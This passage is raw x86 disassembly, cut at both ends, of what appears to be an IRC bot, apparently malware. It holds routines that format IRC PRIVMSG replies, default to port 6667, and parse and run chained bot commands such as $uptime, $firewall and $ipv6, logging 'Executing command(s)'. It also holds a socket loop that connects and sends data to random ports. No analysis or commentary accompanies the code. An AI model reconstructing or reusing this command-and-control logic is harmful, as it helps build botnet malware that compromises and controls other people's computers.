eax jz loc_40C37A mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C207 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx cmp eax, 0Ah ja short loc_40C20C loc_40C207: ; CODE XREF: sub_40A9CF+1825j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40A9CF+1836j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx mov [ebp+var_638C], eax push 4 push offset a2002 ; "2002" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416DEA ; memcmp add esp, 0Ch test eax, eax jnz loc_40C35B mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-9] mov [ebp+var_6398], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-8] mov [ebp+var_6397], al and [ebp+var_6396], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-7] mov [ebp+var_6395], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-6] mov [ebp+var_6394], al and [ebp+var_6393], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-4] mov [ebp+var_6392], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-3] mov [ebp+var_6391], al and [ebp+var_6390], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-2] mov [ebp+var_638F], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-1] mov [ebp+var_638E], al and [ebp+var_638D], 0 lea eax, [ebp+var_638F] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6392] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6395] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6398] push eax call sub_40A8AD pop ecx push eax mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419860 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 1Ch jmp short loc_40C375 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_40A9CF+1866j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419844 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C375: ; CODE XREF: sub_40A9CF+198Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C37A: ; CODE XREF: sub_40A9CF+1818j mov eax, [ebp+var_1A8] sub eax, dword_419838 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C4B0 call sub_416B64 ; clock mov [ebp+var_639C], eax and [ebp+var_63A4], 0 and [ebp+var_63A0], 0 push 10h push 0 lea eax, [ebp+var_63B4] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_63B4], 2 loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j call sub_416B64 ; clock sub eax, [ebp+var_639C] cmp eax, 3E8h jnb loc_40C469 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov [ebp+var_63B2], ax push 4 push 0 call sub_4040E8 pop ecx pop ecx mov [ebp+var_63B0], eax push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_63B8], eax push 10h lea eax, [ebp+var_63B4] push eax push [ebp+var_63B8] call dword_4171F4 ; connect push 0 push 1 lea eax, [ebp+var_63A0] push eax push [ebp+var_63B8] call dword_41720C ; send push [ebp+var_63B8] call dword_417230 ; closesocket mov eax, [ebp+var_63A4] add eax, 2Bh mov [ebp+var_63A4], eax jmp loc_40C3C8 ; --------------------------------------------------------------------------- loc_40C469: ; CODE XREF: sub_40A9CF+1A09j cmp [ebp+var_63A4], 400h jbe short loc_40C483 mov eax, [ebp+var_63A4] mov [ebp+var_6408], eax jmp short loc_40C48D ; --------------------------------------------------------------------------- loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j mov [ebp+var_6408], 400h loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j mov eax, [ebp+var_6408] shr eax, 0Ah push eax push offset dword_419820 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj mov eax, [ebp+var_1A8] sub eax, dword_419818 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C4DA mov eax, [ebp+var_1A8] sub eax, dword_41980C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C4FF loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j push offset dword_41DC34 push 3B6h push 0 push offset dword_4197E8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j mov eax, [ebp+var_1A8] sub eax, dword_4197DC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C53A mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4142BF add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j mov eax, [ebp+var_1A8] sub eax, dword_4197D4 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C564 mov eax, [ebp+var_1A8] sub eax, dword_4197C8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C576 loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej lea eax, [ebp+var_1A4] push eax call sub_4087C4 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C576: ; CODE XREF: sub_40A9CF+1B93j mov eax, [ebp+var_1A8] sub eax, dword_4197C0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C5A0 mov eax, [ebp+var_1A8] sub eax, dword_4197B4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C5B2 loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj lea eax, [ebp+var_1A4] push eax call sub_408E4A pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj mov eax, [ebp+var_1A8] sub eax, dword_4197A4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C614 push 1 push offset a9252 ; "9252" call sub_4046BC pop ecx pop ecx mov [ebp+var_63BC], eax push [ebp+var_63BC] push offset dword_418B5C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch cmp [ebp+var_63BC], 0 jnz short loc_40C603 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj push [ebp+var_63BC] call sub_404CBB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j mov eax, [ebp+var_1A8] sub eax, dword_419790 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C63B lea eax, [ebp+var_1A4] push eax call sub_4091E2 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j mov eax, [ebp+var_1A8] sub eax, dword_419788 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C669 mov eax, [ebp+var_1A8] sub eax, dword_41977C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C896 loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C686 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_640C], eax jmp short loc_40C68D ; --------------------------------------------------------------------------- loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j and [ebp+var_640C], 0 loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j mov eax, [ebp+var_640C] mov [ebp+var_63C8], eax call sub_4092A4 mov [ebp+var_63E0], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63D8], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63C4], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D4], eax mov eax, [ebp+var_63D8] cmp eax, [ebp+var_63C8] jnb short loc_40C715 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj call sub_409318 mov [ebp+var_63C0], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63CC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63DC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D0], eax cmp [ebp+var_63D0], 1 jnz short loc_40C793 mov [ebp+var_6410], offset byte_41DE30 jmp short loc_40C79D ; --------------------------------------------------------------------------- loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j mov [ebp+var_6410], offset dword_4191F4 loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j cmp [ebp+var_63DC], 1 jnz short loc_40C7B2 mov [ebp+var_6414], offset byte_41DE30 jmp short loc_40C7BC ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j mov [ebp+var_6414], offset dword_4191F4 loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j cmp [ebp+var_63CC], 1 jnz short loc_40C7D1 mov [ebp+var_6418], offset byte_41DE30 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j mov [ebp+var_6418], offset dword_4191F4 loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j cmp [ebp+var_63D4], 1 jnz short loc_40C7F0 mov [ebp+var_641C], offset byte_41DE30 jmp short loc_40C7FA ; --------------------------------------------------------------------------- loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j mov [ebp+var_641C], offset dword_4191F4 loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj cmp [ebp+var_63C4], 1 jnz short loc_40C80F mov [ebp+var_6420], offset byte_41DE30 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j mov [ebp+var_6420], offset dword_4191F4 loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej cmp [ebp+var_63D8], 1 jnz short loc_40C82E mov [ebp+var_6424], offset byte_41DE30 jmp short loc_40C838 ; --------------------------------------------------------------------------- loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j mov [ebp+var_6424], offset dword_4191F4 loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj push [ebp+var_6410] push [ebp+var_63D0] push [ebp+var_6414] push [ebp+var_63DC] push [ebp+var_6418] push [ebp+var_63CC] push [ebp+var_641C] push [ebp+var_63D4] push [ebp+var_6420] push [ebp+var_63C4] push [ebp+var_6424] push [ebp+var_63D8] push offset dword_419708 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 38h jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40A9CF+1C94j mov eax, [ebp+var_1A8] sub eax, dword_419700 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C912 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C8BD mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jnz short loc_40C8BF loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj push 2 push offset aId ; "id" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40C8EA mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j push offset aUsername ; "username" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40C912 mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41F048 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C912: ; CODE XREF: sub_40A9CF+85j ; sub_40A9CF+D8j ... pop edi pop esi leave retn sub_40A9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40C919: ; CODE XREF: sub_40C916+1Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_40C937 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C937 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C937: ; CODE XREF: sub_40C916+Cj ; sub_40C916+16j mov eax, [ebp+arg_0] pop ebp retn sub_40C916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C93C proc near ; DATA XREF: sub_40CEB0+66o var_534 = dword ptr -534h var_530 = byte ptr -530h var_38F = byte ptr -38Fh var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 534h push 327h push [ebp+arg_0] lea eax, [ebp+var_534] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" lea eax, [ebp+var_530] push eax call sub_40813C add esp, 0Ch mov [ebp+var_204], eax and [ebp+var_20C], 0 loc_40C98D: ; CODE XREF: sub_40C93C+D6j cmp [ebp+var_204], 0 jnz short loc_40C998 jmp short loc_40CA17 ; --------------------------------------------------------------------------- loc_40C998: ; CODE XREF: sub_40C93C+58j ; sub_40C93C+79j mov eax, [ebp+var_204] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40C9A8 jmp short loc_40C9B7 ; --------------------------------------------------------------------------- loc_40C9A8: ; CODE XREF: sub_40C93C+68j mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax jmp short loc_40C998 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: sub_40C93C+6Aj push [ebp+var_204] lea eax, [ebp+var_38F] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_200] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_200] push eax call sub_40E618 pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_20C], eax mov eax, [ebp+var_20C] mov [ebp+var_204], eax jmp loc_40C98D ; --------------------------------------------------------------------------- loc_40CA17: ; CODE XREF: sub_40C93C+5Aj push [ebp+var_534] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40C93C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ECh cmp [ebp+arg_0], 0 jz short loc_40CA43 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 28h jz short loc_40CA4A loc_40CA43: ; CODE XREF: sub_40CA29+Dj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA4A: ; CODE XREF: sub_40CA29+18j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push offset asc_419FB0 ; ")" push [ebp+arg_0] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40CA70 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA70: ; CODE XREF: sub_40CA29+3Ej mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax cmp eax, 180h jbe short loc_40CA8A mov [ebp+var_1EC], 180h jmp short loc_40CA97 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_40CA29+53j mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax mov [ebp+var_1EC], eax loc_40CA97: ; CODE XREF: sub_40CA29+5Fj push [ebp+var_1EC] push [ebp+arg_0] lea eax, [ebp+var_190] push eax call sub_407A56 add esp, 0Ch push 1 push 1 lea eax, [ebp+var_190] push eax call sub_407C2C add esp, 0Ch lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" lea eax, [ebp+var_190] push eax call sub_40813C add esp, 0Ch mov [ebp+var_4], eax and [ebp+var_C], 0 loc_40CAE1: ; CODE XREF: sub_40CA29+475j cmp [ebp+var_4], 0 jnz short loc_40CAEC jmp loc_40CEA3 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40CA29+BCj ; sub_40CA29+D7j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40CAF9 jmp short loc_40CB02 ; --------------------------------------------------------------------------- loc_40CAF9: ; CODE XREF: sub_40CA29+CCj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40CAEC ; --------------------------------------------------------------------------- loc_40CB02: ; CODE XREF: sub_40CA29+CEj lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_1A0] push eax lea eax, [ebp+var_1C8] push eax push offset a32s16s32s ; "%32s %16s %32s" push [ebp+var_4] call sub_416BA2 ; sscanf add esp, 14h cmp eax, 3 jz short loc_40CB33 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40CA29+101j lea eax, [ebp+var_1C8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A4], eax lea eax, [ebp+var_1E8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A8], eax cmp [ebp+var_1A4], 0 jnz loc_40CC6E push offset dword_418F50 lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CC6E push offset aUptime ; "$uptime" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBB1 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A4], eax jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj push offset aVersion ; "$version" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBD7 mov [ebp+var_1A4], 3B6h jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj push offset aFree_0 ; "$free" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBFB call sub_408E8E mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j push offset aLatency ; "$latency" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC1F call sub_408887 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j push offset aFirewall ; "$firewall" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC43 call sub_404279 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC43: ; CODE XREF: sub_40CA29+20Bj push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC67 call sub_4043E9 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC67: ; CODE XREF: sub_40CA29+22Fj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CC6E: ; CODE XREF: sub_40CA29+137j ; sub_40CA29+152j ... cmp [ebp+var_1A8], 0 jnz loc_40CD83 push offset dword_418F50 lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CD83 push offset aUptime ; "$uptime" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCC6 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A8], eax jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCC6: ; CODE XREF: sub_40CA29+282j push offset aVersion ; "$version" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCEC mov [ebp+var_1A8], 3B6h jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j push offset aFree_0 ; "$free" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD10 call sub_408E8E mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CA29+2D8j push offset aLatency ; "$latency" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD34 call sub_408887 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD34: ; CODE XREF: sub_40CA29+2FCj push offset aFirewall ; "$firewall" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD58 call sub_404279 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD58: ; CODE XREF: sub_40CA29+320j push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD7C call sub_4043E9 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40CA29+344j xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CD83: ; CODE XREF: sub_40CA29+24Cj ; sub_40CA29+267j ... push offset asc_419F5C ; "==" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDAF mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jz short loc_40CDAF xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj ; sub_40CA29+37Dj push offset asc_419F58 ; "!=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDDB mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnz short loc_40CDDB xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj ; sub_40CA29+3A9j push offset asc_419F54 ; ">" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE07 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] ja short loc_40CE07 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CA29+3C7j ; sub_40CA29+3D5j push offset asc_419F50 ; ">=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE30 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnb short loc_40CE30 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE30: ; CODE XREF: sub_40CA29+3F3j ; sub_40CA29+401j push offset dword_419968 lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE59 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jb short loc_40CE59 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE59: ; CODE XREF: sub_40CA29+41Cj ; sub_40CA29+42Aj push offset asc_419F4C ; "<=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE82 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jbe short loc_40CE82 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE82: ; CODE XREF: sub_40CA29+445j ; sub_40CA29+453j lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_40CAE1 ; --------------------------------------------------------------------------- loc_40CEA3: ; CODE XREF: sub_40CA29+BEj mov eax, [ebp+var_10] inc eax push eax call sub_40C916 pop ecx locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj ; sub_40CA29+42j ... leave retn sub_40CA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call sub_40CA29 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40CEC9 jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CEB0+15j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CEDF jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj push 180h push [ebp+var_8] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_405F67 pop ecx pop ecx push [ebp+var_8] push offset aExecutingComma ; "Executing command(s): %s" push 0 push [ebp+var_4] push offset sub_40C93C call sub_4095A4 add esp, 14h locret_40CF23: ; CODE XREF: sub_40CEB0+17j ; sub_40CEB0+2Dj leave retn sub_40CEB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF25 proc near ; CODE XREF: sub_4020C2+B3p ; sub_40D871+59Bp ... push ebp mov ebp, esp mov eax, dword_41E9A4 pop ebp retn sub_40CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp ; sub_40D366+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jz short loc_40CF9E push [ebp+arg_0] push offset dword_41E898 call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_4], 0 jz short loc_40CF60 push [ebp+arg_4] push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF71 ; --------------------------------------------------------------------------- loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej push offset a6667 ; "6667" push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj cmp [ebp+arg_8], 0 jz short loc_40CF88 push [ebp+arg_8] push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF99 ; --------------------------------------------------------------------------- loc_40CF88: ; CODE XREF: sub_40CF2F+46j push offset byte_41DE30 push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF99: ; CODE XREF: sub_40CF2F+57j jmp loc_40D020 ; --------------------------------------------------------------------------- loc_40CF9E: ; CODE XREF: sub_40CF2F+9j and [ebp+var_4], 0 jmp short loc_40CFAB ; --------------------------------------------------------------------------- loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CFAB: ; CODE XREF: sub_40CF2F+73j mov eax, [ebp+var_4] imul eax, 0Ch cmp off_41DA68[eax], 0 jz short loc_40CFBC jmp short loc_40CFA4 ; --------------------------------------------------------------------------- 